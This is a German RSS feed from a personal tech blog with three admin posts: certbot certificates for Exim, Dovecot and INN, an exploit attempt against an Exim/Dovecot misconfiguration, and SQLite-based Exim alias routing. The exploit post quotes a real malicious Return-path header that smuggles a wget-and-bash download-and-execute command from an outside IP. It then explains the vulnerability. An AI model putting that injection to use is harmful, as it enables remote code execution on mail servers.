<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
   >
<channel>
    
    <title>Netz - Rettung - Recht (Artikel mit Tag dovecot)</title>
    <link>https://netz-rettung-recht.de/</link>
    <description>Netzleben, Rettungs- und Rechtswesen</description>
    <dc:language>de</dc:language>
    <generator>Serendipity 2.5.0 - http://www.s9y.org/</generator>
    <pubDate>Sun, 28 Jan 2018 12:46:32 GMT</pubDate>

    <image>
    <url>https://netz-rettung-recht.de/templates/2k11/img/s9y_banner_small.png</url>
    <title>RSS: Netz - Rettung - Recht - Netzleben, Rettungs- und Rechtswesen</title>
    <link>https://netz-rettung-recht.de/</link>
    <width>100</width>
    <height>21</height>
</image>

<item>
    <title>letsencrypt jenseits des Webservers</title>
    <link>https://netz-rettung-recht.de/archives/1943-letsencrypt-jenseits-des-Webservers.html</link>
            <category>Bits'n'Bytes</category>
    
    <comments>https://netz-rettung-recht.de/archives/1943-letsencrypt-jenseits-des-Webservers.html#comments</comments>
    <wfw:comment>https://netz-rettung-recht.de/wfwcomment.php?cid=1943</wfw:comment>

    <slash:comments>3</slash:comments>
    <wfw:commentRss>https://netz-rettung-recht.de/rss.php?version=2.0&amp;type=comments&amp;cid=1943</wfw:commentRss>
    

    <author>nospam@example.com (Thomas Hochstein)</author>
    <content:encoded>
    &lt;p&gt;Vor einigen Monaten hatte ich über &lt;em&gt;letsencrypt&lt;/em&gt;, die neue Zertifizierungsstelle für TLS-Zertifikate, &lt;a href=&quot;https://netz-rettung-recht.de/archives/1903-SSLTLS-mit-Lets-Encrypt.html&quot; title=&quot;&quot;&gt;berichtet&lt;/a&gt; und demletzt meine guten Erfahrungen damit &lt;a href=&quot;https://netz-rettung-recht.de/archives/1916-Lets-Encrypt-Updates.html&quot; title=&quot;&quot;&gt;dargestellt&lt;/a&gt;. Doch &lt;em&gt;HTTP&lt;/em&gt; ist ja nicht das einzige Protokoll, das einer Absicherung bedarf. Wie sieht es mit TLS-Zertifikaten für Mail (&lt;em&gt;SMTP&lt;/em&gt; und &lt;em&gt;POP3&lt;/em&gt; oder &lt;em&gt;IMAP&lt;/em&gt;) und News (&lt;em&gt;NNTP&lt;/em&gt;) oder noch andere Dienste aus?&lt;/p&gt;

&lt;p&gt;Grundsätzlich ist das kein Problem: vorhandene Zertifikate mit dem (oder den) passenden Hostnamen müssen nur eingebunden werden.&lt;/p&gt;

&lt;p&gt;In der Folge stelle ich die Vorgehensweise ausgehend von einem &lt;em&gt;Debian&lt;/em&gt;-&lt;em&gt;Jessie&lt;/em&gt;-System aus vor.&lt;/p&gt;

&lt;h3 id=&quot;erhalt-des-zertifikats&quot;&gt;Erhalt des Zertifikats&lt;/h3&gt;

&lt;p&gt;Am einfachsten ist das, wenn unter jedem Hostnamen auch ein Webserver erreichbar ist; dann kann nämlich einfach das &lt;code&gt;webroot&lt;/code&gt;-&lt;a href=&quot;https://certbot.eff.org/docs/using.html#webroot&quot; title=&quot;&quot;&gt;Plugin&lt;/a&gt; verwendet werden. Ist das nicht der Fall, kommen bspw. das &lt;code&gt;manual&lt;/code&gt;-&lt;a href=&quot;https://certbot.eff.org/docs/using.html#manual&quot; title=&quot;&quot;&gt;Plugin&lt;/a&gt; oder das &lt;code&gt;external&lt;/code&gt;-&lt;a href=&quot;https://github.com/marcan/certbot-external&quot; title=&quot;GitHub - marcan/certbot-external: Certbot plugin that uses an external shell script for domain validation · GitHub&quot;&gt;Plugin&lt;/a&gt; in Betracht.&lt;/p&gt;

&lt;h3 id=&quot;installation-des-zertifikats&quot;&gt;Installation des Zertifikats&lt;/h3&gt;

&lt;p&gt;Das bereits - für den Webserver - vorhandene oder neu erhaltene Zertifikat und der zugehörige Schlüssel (
&lt;em&gt;Key&lt;/em&gt;), die üblicherweise im Verzeichnis &lt;code&gt;/etc/letsencrypt/live/domain.example/&lt;/code&gt; liegen, können nun eingebunden werden - entweder das Zertifikat und die ganze Zertifikatskette mit allen Zwischenzertifikaten zusammen in einer Datei (&lt;code&gt;fullchain.pem&lt;/code&gt;), oder das Zertifikat (&lt;code&gt;cert.pem&lt;/code&gt;) und die Zwischenzertifikate (&lt;code&gt;chain.pem&lt;/code&gt;) getrennt, je nachdem, was die Applikation unterstützt.&lt;/p&gt;

&lt;p&gt;Nicht immer ist es aber ohne weiteres möglich, unmittelbar auf die Dateien in &lt;code&gt;/etc/letsencrypt/live/domain.example/&lt;/code&gt; zuzugreifen, die &lt;code&gt;root:root&lt;/code&gt; gehören und aufgrund der Verzeichnisrechte auch nur für &lt;code&gt;root&lt;/code&gt; lesbar sind. Manche Programme (bspw. der Mailserver &lt;em&gt;Exim&lt;/em&gt;) greifen nämlich auf die Zertifikate zu einem Zeitpunkt zu, zu dem sie bereits keine Root-Rechte mehr haben; und es erscheint wenig tunlich, sie in die Gruppe &lt;code&gt;root&lt;/code&gt; aufzunehmen oder gar Zertifikat und Key weltweit lesbar zu machen. Andere Programme wiederum haben ausgesprochen strikte Vorstellungen darüber, welchem Benutzer und/oder welcher Gruppe die Dateien &amp;#8220;gehören&amp;#8221; müssen und wie die Zugriffsrechte auszusehen haben (so z.B. der Newsserver &lt;em&gt;INN&lt;/em&gt;, der erwartet, dass der Key ausschließlich für den User &lt;code&gt;news&lt;/code&gt; lesbar ist). In diesen Fällen wird es m.E. unausweichlich sein, Kopien der Zertifikate und des Keys mit den passenden Rechten anzulegen.&lt;/p&gt;

&lt;h4 id=&quot;-dovecot-&quot;&gt;&lt;em&gt;Dovecot&lt;/em&gt;&lt;/h4&gt;

&lt;p&gt;Der &lt;em&gt;POP3&lt;/em&gt;- und &lt;em&gt;IMAP&lt;/em&gt;-Server &lt;em&gt;Dovecot&lt;/em&gt; greift als &lt;code&gt;root&lt;/code&gt; auf die Zertifikate zu und kann - jedenfalls in seiner in &lt;em&gt;Debian Jessie&lt;/em&gt; enthaltenen Version &lt;em&gt;2.2.13&lt;/em&gt; - die Zertifikatskette (&lt;code&gt;fullchain.pem&lt;/code&gt;) verarbeiten. Es genügt also, Zertifikat und Key einzubinden und die Serverkonfiguration neu einzulesen (&lt;code&gt;service dovecot reload&lt;/code&gt;).&lt;/p&gt;

&lt;h4 id=&quot;-exim-&quot;&gt;&lt;em&gt;Exim&lt;/em&gt;&lt;/h4&gt;

&lt;p&gt;Anders sieht es mit dem &lt;em&gt;SMTP&lt;/em&gt;-Server &lt;em&gt;Exim&lt;/em&gt; aus. Dieser gibt seine Root-Rechte auf, bevor er auf die TLS-Zertifikate zugreift. Immerhin kommt auch er mit &lt;code&gt;fullchain.pem&lt;/code&gt; klar.&lt;/p&gt;

&lt;p&gt;Eine Möglichkeit ist es, Zertifikat und Key in ein passendes Verzeichnis zu kopieren und dann Eigentümer und Rechte (&lt;code&gt;644&lt;/code&gt;!) anzupassen, bspw. so:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;cd /etc/exim4
mkdir certs 
cp /etc/letsencrypt/live/domain.example/fullchain.pem /etc/exim4/certs/
cp /etc/letsencrypt/live/domain.example/privkey.pem /etc/exim4/certs/
service exim4 restart
chown Debian-exim:Debian-exim /etc/exim4/certs/
chown Debian-exim:Debian-exim /etc/exim4/certs/*
chmod 644 /etc/exim4/certs/*
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Ein solches Vorgehen wird dann auch bei jeder Erneuerung der Zertifikate erforderlich (s.u.)!&lt;/p&gt;

&lt;p&gt;Danach genügt es, die Serverkonfiguration neu zu laden (&lt;code&gt;service exim4 reload&lt;/code&gt;) und sich dann zu Testzwecken auf Port 25 zu verbinden und nach dem &lt;code&gt;EHLO&lt;/code&gt; ein &lt;code&gt;STARTTLS&lt;/code&gt; abzusetzen.&lt;/p&gt;

&lt;h4 id=&quot;-inn-&quot;&gt;&lt;em&gt;INN&lt;/em&gt;&lt;/h4&gt;

&lt;p&gt;&lt;em&gt;INN&lt;/em&gt; stellt - jedenfalls in der in &lt;em&gt;Debian Jessie&lt;/em&gt; enthaltenen Version &lt;em&gt;2.5.4&lt;/em&gt; - ganz besondere Ansprüche: jedenfalls der Key muss für den Benutzer &lt;code&gt;news&lt;/code&gt; lesbar sein, und er benötigt &lt;code&gt;cert.pem&lt;/code&gt; und &lt;code&gt;chain.pem&lt;/code&gt; getrennt.&lt;/p&gt;

&lt;p&gt;Umsetzen könnte man das bspw. so:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;cd /etc/news
mkdir certs 
cp /etc/letsencrypt/live/domain.example/cert.pem /etc/news/certs/
cp /etc/letsencrypt/live/domain.example/chain.pem /etc/news/certs/
cp /etc/letsencrypt/live/domain.example/privkey.pem /etc/news/certs/
chown news:news /etc/news/certs/*
chmod 600 /etc/news/certs/*
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Auch hier muss man dieses Vorgehen für eine Erneuerung der Zertifikate im Blick behalten (s.u.).&lt;/p&gt;

&lt;p&gt;Ein Einlesen der &lt;code&gt;inn.conf&lt;/code&gt; später (&lt;code&gt;service inn2 restart&lt;/code&gt;) sollte dann alles funktionieren wie geplant.&lt;/p&gt;

&lt;h3 id=&quot;zertifikat-updates&quot;&gt;Zertifikat-Updates&lt;/h3&gt;

&lt;p&gt;Die nunmehr im Dateisystem verstreuten Zertifikatskopien müssen nach jeder Erneuerung des Zertifikats gleichfalls erneuert werden, damit nicht ein ungültiges Zertifikat ausgeliefert wird. Sinnvollerweise geschieht das ebenso automatisiert wie die Erneuerung des Zertifikats; hilfreich dabei die Möglichkeit, &lt;code&gt;letsencrypt&lt;/code&gt; (bzw. &lt;code&gt;certbot&lt;/code&gt;) mittels &lt;code&gt;--post-hook&lt;/code&gt; nach einem Zertifikatsaustausch ein Script ablaufen zu lassen.&lt;/p&gt;

&lt;h4 id=&quot;-exim-&quot;&gt;&lt;em&gt;Exim&lt;/em&gt;&lt;/h4&gt;

&lt;p&gt;Man könnte sich daher bspw. eine Datei &lt;code&gt;/usr/local/bin/certbot-exim4-renew.sh&lt;/code&gt; mit folgendem Inhalt anlegen:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#!/bin/dash
cp /etc/letsencrypt/live/domain.example/fullchain.pem /etc/exim4/certs/
cp /etc/letsencrypt/live/domain.example/privkey.pem /etc/exim4/certs/
service exim4 reload
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Dazu passt dann ein &lt;em&gt;Cron&lt;/em&gt;-Eintrag der folgenden Art:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;certbot certonly --quiet -n --webroot -w /var/www/domain.example -d domain.example --keep-until-expiring --post-hook /usr/local/bin/certbot-exim4-renew.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Damit wird versucht, das Zertifikat für diesen Hostnamen (&lt;code&gt;domain.example&lt;/code&gt;) zu erneuern, jedoch nur, wenn es der Erneuerung bedürftig ist.&lt;/p&gt;

&lt;p&gt;Der Aufruf sollte in der &lt;em&gt;Crontab&lt;/em&gt; zeitlich &lt;em&gt;vor&lt;/em&gt; dem allgemeinen Aufruf &lt;code&gt;certbot renew --quiet&lt;/code&gt; erfolgen, damit erst das spezielle Zertifikat aktualisiert (und ggf. umkopiert) wird und danach die übrigen.&lt;/p&gt;

&lt;h4 id=&quot;-inn-&quot;&gt;&lt;em&gt;INN&lt;/em&gt;&lt;/h4&gt;

&lt;p&gt;Für den &lt;em&gt;INN&lt;/em&gt; sähe diese Lösung analog mit einer Datei &lt;code&gt;/usr/local/bin/certbot-inn2-renew.sh&lt;/code&gt; so aus:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#!/bin/dash
cp /etc/letsencrypt/live/domain.example/cert.pem /etc/news/certs
cp /etc/letsencrypt/live/domain.example/chain.pem /etc/news/certs
cp /etc/letsencrypt/live/domain.example/privkey.pem /etc/news/certs
cd /etc/news/certs
chown news:news *.pem
chmod 600 *.pem
service inn2 reload
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Der &lt;em&gt;Cron&lt;/em&gt;-Eintrag wäre dann entsprechend:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;certbot certonly --quiet -n --webroot -w /var/www/domain.example -d domain.example --keep-until-expiring --post-hook /usr/local/bin/certbot-inn2-renew.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Auch dieser Eintrag muss zeitlich &lt;em&gt;vor&lt;/em&gt; dem allgemeinen Aufruf &lt;code&gt;certbot renew --quiet&lt;/code&gt; liegen.&lt;/p&gt;

&lt;h3 id=&quot;und-ihr-&quot;&gt;Und ihr?&lt;/h3&gt;

&lt;p&gt;So richtig optimal erscheinen mir diese Lösungen noch nicht. Gibt es bessere Ideen? Andere Erfahrungen?&lt;/p&gt;

&lt;p&gt;Nutzt ihr &lt;em&gt;letsencrypt&lt;/em&gt; noch für andere Dienste als die oben genannten?&lt;/p&gt;

&lt;p&gt;An Euren Erfahrungen und Lösungen wäre ich interessiert und freue mich daher über Kommentare, Hinweise und Ergänzungen.&lt;/p&gt;
&lt;img src=&quot;https://ssl-vg03.met.vgwort.de/na/ab58b7fdf4c749689ad4f6dde41d970a&quot; width=&quot;1&quot; height=&quot;1&quot; alt=&quot;&quot;&gt; 
    </content:encoded>

    <pubDate>Tue, 30 Aug 2016 14:30:00 +0000</pubDate>
    <guid isPermaLink="false">https://netz-rettung-recht.de/archives/1943-guid.html</guid>
    <category>anleitung</category>
<category>debian</category>
<category>dovecot</category>
<category>exim</category>
<category>followerpower</category>
<category>inn</category>
<category>jessie</category>
<category>ssl</category>

</item>
<item>
    <title>Vom Advisory zum Exploit binnen eines Tages</title>
    <link>https://netz-rettung-recht.de/archives/1701-Vom-Advisory-zum-Exploit-binnen-eines-Tages.html</link>
            <category>Bits'n'Bytes</category>
    
    <comments>https://netz-rettung-recht.de/archives/1701-Vom-Advisory-zum-Exploit-binnen-eines-Tages.html#comments</comments>
    <wfw:comment>https://netz-rettung-recht.de/wfwcomment.php?cid=1701</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>https://netz-rettung-recht.de/rss.php?version=2.0&amp;type=comments&amp;cid=1701</wfw:commentRss>
    

    <author>nospam@example.com (Thomas Hochstein)</author>
    <content:encoded>
    &lt;p&gt;Am Freitag, dem dritten Mai, wurde ein &lt;a title=&quot;Exim with Dovecot: Typical Misconfiguration Leads to Remote Command Execution&quot; href=&quot;https://www.redteam-pentesting.de/advisories/rt-sa-2013-001&quot;&gt;Warnhinweis&lt;/a&gt; (&lt;em&gt;Advisory&lt;/em&gt;) auf eine weit verbreitete Fehlkonfiguration in der Kombination von &lt;em&gt;&lt;a title=&quot;Exim Internet Mailer&quot; href=&quot;http://www.exim.org/&quot;&gt;Exim&lt;/a&gt; &lt;/em&gt;mit &lt;em&gt;&lt;a title=&quot;Dovecot - secure IMAP server&quot; href=&quot;http://dovecot.org/&quot;&gt;Dovecot&lt;/a&gt; &lt;/em&gt;publiziert: ein offenbar seit 23.10.2009 im Dovecot-Wiki veröffentliches Konfigurationsbeispiel für &lt;em&gt;Exim&lt;/em&gt;, mit dem eingehende E-Mails durch den zu &lt;em&gt;Dovecot &lt;/em&gt;gehörenden LDA &lt;em&gt;deliver &lt;/em&gt;ausgeliefert werden sollen, enthielt auch die Option &amp;quot;&lt;em&gt;use_shell&lt;/em&gt;&amp;quot;, die dazu führt, dass der Aufruf insgesamt zur Ausführung an die Shell weitergegeben wird. Das is potentiell unsicher, wie auch die Exim-Dokumentation &lt;a title=&quot;Exim: The pipe transport - How the command is run&quot; href=&quot;http://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_pipe_transport.html#SECThowcommandrun&quot;&gt;erläutert&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt; 
&lt;p&gt;Not running the command under a shell (by default) lessens the security risks
in cases when a command from a user’s filter file is built out of data that was
taken from an incoming message. If a shell is required, it can of course be
explicitly specified as the command to be run. However, there are circumstances
where existing commands (for example, in &lt;em&gt;&lt;span class=&quot;docbook_filename&quot;&gt;.forward&lt;/span&gt; &lt;/em&gt;files) expect to be run
under a shell and cannot easily be modified. To allow for these cases, there is
an option called &lt;span class=&quot;docbook_option&quot;&gt;use_shell&lt;/span&gt;, which changes the way the &lt;span class=&quot;docbook_command&quot;&gt;pipe&lt;/span&gt; transport
works. Instead of breaking up the command line as just described, it expands it
as a single string and passes the result to &lt;em&gt;&lt;span class=&quot;docbook_filename&quot;&gt;/bin/sh&lt;/span&gt;&lt;/em&gt;. The
&lt;span class=&quot;docbook_option&quot;&gt;restrict_to_path&lt;/span&gt; option and the $pipe_addresses facility cannot be used
with &lt;span class=&quot;docbook_option&quot;&gt;use_shell&lt;/span&gt;, and the whole mechanism is inherently less secure.&lt;/p&gt; 
&lt;/blockquote&gt;

&lt;p&gt;Wenn es jemandem gelingt, ausführbaren Code in diesen Aufruf einzuschleusen, kann er fremden Code mit den Rechten von Exim ausführen, die im Moment der Auslieferung von Mail mit dem LDA &lt;em&gt;deliver&lt;/em&gt; bestenfalls Zugriff auf alle Mailboxen ermöglichen und bei leichtsinniger Konfiguration - die im Dovecot-Wiki als eine Konfigurationsmöglichkeit ausdrücklich genannt wird! - schlimmstenfalls sogar &lt;em&gt;root&lt;/em&gt; sind. Und dieses Einschleusen ist ausgesprochen einfach, enthält der Aufruf von &lt;em&gt;deliver&lt;/em&gt; doch u.a. den Absender der E-Mail, den sog. &lt;em&gt;Envelope-From&lt;/em&gt; (oder auch &lt;em&gt;Return-Path&lt;/em&gt;), bspw. so:
&lt;code&gt;command = /usr/local/libexec/dovecot/dovecot-lda -d $local_part@$domain -f $sender_address&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;$sender_address&lt;/em&gt; ist hier der problematische Parameter, denn diesen Parameter kann der Absender der E-Mail frei setzen. Durch die Option &lt;em&gt;use_shell&lt;/em&gt; wird der obige Aufruf nach Ersatz der Variablen ohne jede Modifikation komplett an die Shell übergeben und ggf. entsprechender Code ausgeführt.&lt;/p&gt;

&lt;p&gt;Am 02.05.2013 wurde das Beispiel im Wiki für &lt;a href=&quot;http://wiki1.dovecot.org/LDA/Exim?action=diff&amp;amp;rev2=17&amp;amp;rev1=16&quot; title=&quot;Änderung am 02.05.2013&quot;&gt;Dovecot 1.x&lt;/a&gt; und auch in der Dokumentation für &lt;a href=&quot;http://wiki2.dovecot.org/LDA/Exim?action=diff&amp;amp;rev2=22&amp;amp;rev1=21&quot; title=&quot;Änderung am 02.05.2013&quot;&gt;Dovecot 2.x&lt;/a&gt; berichtigt, am 03.05.2013 wurde das Advisoy veröffentlicht.&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Und schon am Abend des Folgetages flog mir auf einem meiner Server folgende - ansonsten notwendige Header und vor allen auch einen Inhalt nicht enthaltende - E-Mail zu, die das Beispiel für einen Exploit aus dem Advisory abgewandelt übernommen hat:&lt;br /&gt;&lt;/p&gt;

&lt;blockquote&gt; 
&lt;p&gt;Return-path: &amp;lt;red`wget${IFS}178.218.211.118/b${IFS}-O${IFS}/tmp/a.pl&amp;#8220;bash${IFS}/tmp/a.pl`team@example.com&amp;gt;&lt;br /&gt;Envelope-to: postmaster@greenmeadow.szaf.org&lt;br /&gt;Delivery-date: Sat, 04 May 2013&amp;#160;21:57:19 +0200&lt;br /&gt;Received: from [178.218.211.118] (helo=abcde.com)&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; by greenmeadow.szaf.org with esmtp (Exim 4.72)&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; (envelope-from &amp;lt;red`wget${IFS}178.218.211.118/b${IFS}-O${IFS}/tmp/a.pl&amp;#8220;bash${IFS}/tmp/a.pl`team@example.com&amp;gt;)&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; id 1UYia4-000387-Es&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; for postmaster@greenmeadow.szaf.org; Sat, 04 May 2013&amp;#160;21:57:19 +0200&lt;br /&gt;Subject: test &lt;br /&gt;&lt;/p&gt; 
&lt;/blockquote&gt;

&lt;p&gt;Die oben gezeigte problematische Konfiguration würde dann dazu führen, dass bei der Auslieferung der Mail die beiden folgenden Befehle mit den Rechten des Mailservers ausgeführt würden:&lt;/p&gt;

&lt;blockquote&gt; 
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;wget 178.218.211.118/b -O /tmp/a.pl&lt;br /&gt;bash /tmp/a.pl&lt;/font&gt; &lt;br /&gt;&lt;/p&gt; 
&lt;/blockquote&gt;

&lt;p&gt;Es würde also die Datei &lt;em&gt;b&lt;/em&gt; von der Maschine heruntergeladen und in der Datei &lt;em&gt;a.pl&lt;/em&gt; im Verzeichnis &lt;em&gt;/tmp&lt;/em&gt; gespeichert und dann ausgeführt.&lt;br /&gt; &lt;/p&gt;

&lt;p&gt;Glücklicherweise verwende ich zwar sowohl Exim als auch Dovecot, aber in einer anderen Konfiguration, so dass dieser Versuch eines Exploits kein Problem darstellte, aber man merkt einmal wieder, wie schnell nach der Veröffentlichung von Advisories man von solchen Versuchen, bestehende Programm- oder Konfigurationsfehler auszunutzen, betroffen wird.&lt;/p&gt;

&lt;p&gt;(Als ich mich damit näher beschäftigt habe, war die o.g. Datei übrigens bereits nicht mehr aufrufbar.)&lt;br /&gt;&lt;/p&gt;
&lt;img src=&quot;https://ssl-vg03.met.vgwort.de/na/7e0f5a1a53f64e8aa05bf7be6a99b9ef&quot; width=&quot;1&quot; height=&quot;1&quot; alt=&quot;&quot;&gt; 
    </content:encoded>

    <pubDate>Sun, 05 May 2013 09:29:00 +0000</pubDate>
    <guid isPermaLink="false">https://netz-rettung-recht.de/archives/1701-guid.html</guid>
    <category>dovecot</category>
<category>e-mail</category>
<category>exim</category>
<category>security</category>

</item>
<item>
    <title>Personalisierte Mailadressen</title>
    <link>https://netz-rettung-recht.de/archives/1475-Personalisierte-Mailadressen.html</link>
            <category>Bits'n'Bytes</category>
    
    <comments>https://netz-rettung-recht.de/archives/1475-Personalisierte-Mailadressen.html#comments</comments>
    <wfw:comment>https://netz-rettung-recht.de/wfwcomment.php?cid=1475</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>https://netz-rettung-recht.de/rss.php?version=2.0&amp;type=comments&amp;cid=1475</wfw:commentRss>
    

    <author>nospam@example.com (Thomas Hochstein)</author>
    <content:encoded>
    &lt;p&gt;Schon seit vielen Jahren verwende ich eine Subdomain zur Vergabe von personalisierten E-Mail-Adressen, die ich dann für Zwecke verwenden kann, bei denen ich meine normale E-Mail-Adresse nicht preisgeben möchte, bspw. das Abonnieren von Newslettern, an deren Seriösität ich Zweifel habe, für Webshops etc. pp. Das hat den Vorteil, daß sich über diese personalisierten E-Mail-Adressen nachvollziehen läßt, aus welcher Quelle bspw. Spammer ihre Adressen bezogen haben, und, viel wichtiger, daß sich diese Adressen rückstandslos entsorgen lassen, wenn sie missbraucht werden. Insgesamt eine gute Idee; die Frage ist immer nur, wie man sich diese Adressen erzeugt.&lt;/p&gt;

&lt;p&gt;Meine erste Lösung war ein Catch-All, was aber den Zweck der Übung letztlich konterkarierte, weil man auf diese Weise eine unbegrenzte Anzahl valider E-Mail-Adressen erzeugt und Spam potentiell potenziert. Zwar kann man bestimmte Adressen selektiv deaktivieren, bspw. über eine Aliases-Datei, in der sie explizit geerdet werden und ein Catch-All als Fallback für nicht explizit definierte Adressen verwendet wird, aber Spammer permutieren Adressen gerne; wenn man &lt;em&gt;abashop@domain.example&lt;/em&gt; deaktiviert, bekommt man stattdessen vielleicht Mail an &lt;em&gt;abasho@domain.example&lt;/em&gt; und an &lt;em&gt;abash@domain.example&lt;/em&gt; und an &amp;#8230; So hat sich das nicht bewährt.&lt;/p&gt;

&lt;p&gt;Also habe ich die Adressen stattdessen in einer Aliases-Datei explizit definiert (und für eine Übergangszeit doch einen Catch-All als Fallback verwendet, für den Fall, daß ich eine bereits verwendete Adresse vergessen hatte &amp;#8230;). Das tat etliche Jahre seinen Zweck, hatte aber den Nachteil, daß ich mich für Änderungen immer erst auf dem entsprechenden Host einloggen und die Datei ändern mußte. Unbequem und, wenn man gerade unterwegs ist und nur Webzugriff hat, erst gar nicht möglich. Also habe ich reichlich oft doch meine Hauptadresse für diverse Anmeldungen verwendet; diesen Nachteil gab es bei der Verwendung des Catch-All nicht.&lt;/p&gt;

&lt;p&gt;Die Lösung wäre - so war mir ebenfalls seit langer Zeit klar - die Verwendung eines bequemen, nach Möglichkeit webbasierten Interfaces zur Anlage neuer solcher Adressen, damit der innere Schweinehund nicht mehr dazwischenkommen kann. Und diese Lösung habe ich jetzt endlich umgesetzt. Zumindest provisorisch, aber das wird vermutlich wieder so ein langlebiges Provisorium werden &amp;#8230; &lt;img src=&quot;https://netz-rettung-recht.de/plugins/serendipity_event_emoticate/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Der richtige Weg ist eigentlich ganz einfach: eine Weboberfläche, mit der man Mailadressen anlegen, ändern und löschen kann, dazu eine Datenbank, in der sie gespeichert werden, und eine Änderung in der Exim-Konfiguration, damit der Mailserver auf diese Datenbank zugreift. Bereits Ende 2007/Anfang 2008 habe ich das für das &amp;quot;Szafshosting&amp;quot; gelöst; auf diese Lösung konnte ich jetzt für mich aufsetzen. Allerdings habe ich mich - aus mir mittlerweile selbst unklaren Gründen - entschlossen, als Datenbank diesmal nicht mySQL, sondern SQLite zu verwenden, was zu weniger amüsanten Abstechern zu den verschiedenen SQLite-Versionen führte: mit der einen kann Exim nicht umgehen (dort wird SQLite 3.x benötigt), die andere wird von PHP nicht nativ unterstützt (da geht es nämlich um SQLite 2.x). &lt;em&gt;*tiefseufz*&lt;/em&gt; Die Lösung war dann, den Zugriff in PHP noch einmal neu mittels &lt;em&gt;PHP Data Objects (PDO)&lt;/em&gt; zu implementieren; auf diese Weise wird nämlich auch SQLite 3.x unterstützt.&lt;/p&gt;

&lt;p&gt;Die Datenbank für die Mailadressen sieht recht einfach aus:&lt;/p&gt;

&lt;pre&gt;
CREATE TABLE addresses (keyid INTEGER PRIMARY KEY ASC, domain TEXT, mail TEXT, comment TEXT);&lt;/pre&gt;

&lt;p&gt;Dort werden dann Mailadressen - auch unter verschiedenen Domains - abgelegt. Exim wird dann mitgeteilt, in welchen Domains Adressen via SQLite vergeben werden, und für diese Adressen ein entsprechender Router angelegt:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sqlite_aliases:
  driver = redirect
  domains = /etc/exim/domains-sqlite
  require_files = /etc/exim/sqlite-address.db
  data = ${lookup sqlite {/etc/exim/sqlite-address.db \
         select target from addresses \
         where mail=&#039;${quote_sqlite:$local_part}&#039; \
         and domain=&#039;${quote_sqlite:$domain}&#039;;}}
  user = exim
  check_ancestor
  file_transport = address_file
  pipe_transport = address_pipe
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Wenn man einmal dabei ist, kann man in ähnlicher Weise auch &amp;quot;virtuelle Mailboxen&amp;quot; als Maildir im Home des jeweiligen Users unterstützen. Die zugehörige SQLite-Datenbank sieht so aus:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;CREATE TABLE mailuser (keyid INTEGER PRIMARY KEY ASC, username TEXT, password TEXT, uid TEXT);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Der zuständige Router in Exim für diese &amp;quot;virtuellen Mailboxen&amp;quot;, implementiert als lokal zustellbare Adresse, sieht folgendermaßen aus: &lt;/p&gt;

&lt;pre&gt;&lt;code&gt; sqlite_user:
   driver = accept
   domains = +hostname
   local_parts = ${lookup sqlite {/etc/exim/sqlite-mailboxes.db \
          select username from mailuser \
          where username=&#039;${quote_sqlite:$local_part}&#039; }}
   address_data = ${lookup sqlite {/etc/exim/sqlite-mailboxes.db \
          select uid from mailuser \
          where username=&#039;${quote_sqlite:$local_part}&#039; }}
   transport = sqlite_delivery
   cannot_route_message = Unknown user
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Und so sieht der zugehörige Transport aus:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sqlite_delivery:
  driver = appendfile
  maildir_format = true
  directory = /home/$address_data/mailstore/$local_part
  delivery_date_add
  envelope_to_add
  return_path_add
  user = $address_data
  group = users
  mode = 0660
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Abfragen muß man die Mailboxen natürlich auch; als POP3-/IMAP-Server verwende ich Dovecot. Dort wird folgendes in der Konfiguration ergänzt:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt; passdb sql {
   # Path for SQL configuration file, see /etc/dovecot/dovecot-sql.conf for example
   args = /etc/dovecot/sqlite.conf
 }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Und die Datei /etc/dovecot/sqlite.conf sieht so aus (ohne Zeilenumbrüche):&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;driver = sqlite
connect = /etc/exim/sqlite-mailboxes.db
default_pass_scheme = PLAIN
password_query = SELECT username as user, password, &#039;/home/&#039; || uid || &#039;/mailstore/&#039; || username AS userdb_home,&#039;maildir:/home/&#039; || uid || &#039;/mailstore/&#039; || username AS userdb_mail, uid AS userdb_uid, 100 AS userdb_gid FROM mailuser WHERE username = &#039;%u&#039;
&lt;/code&gt;&lt;/pre&gt;

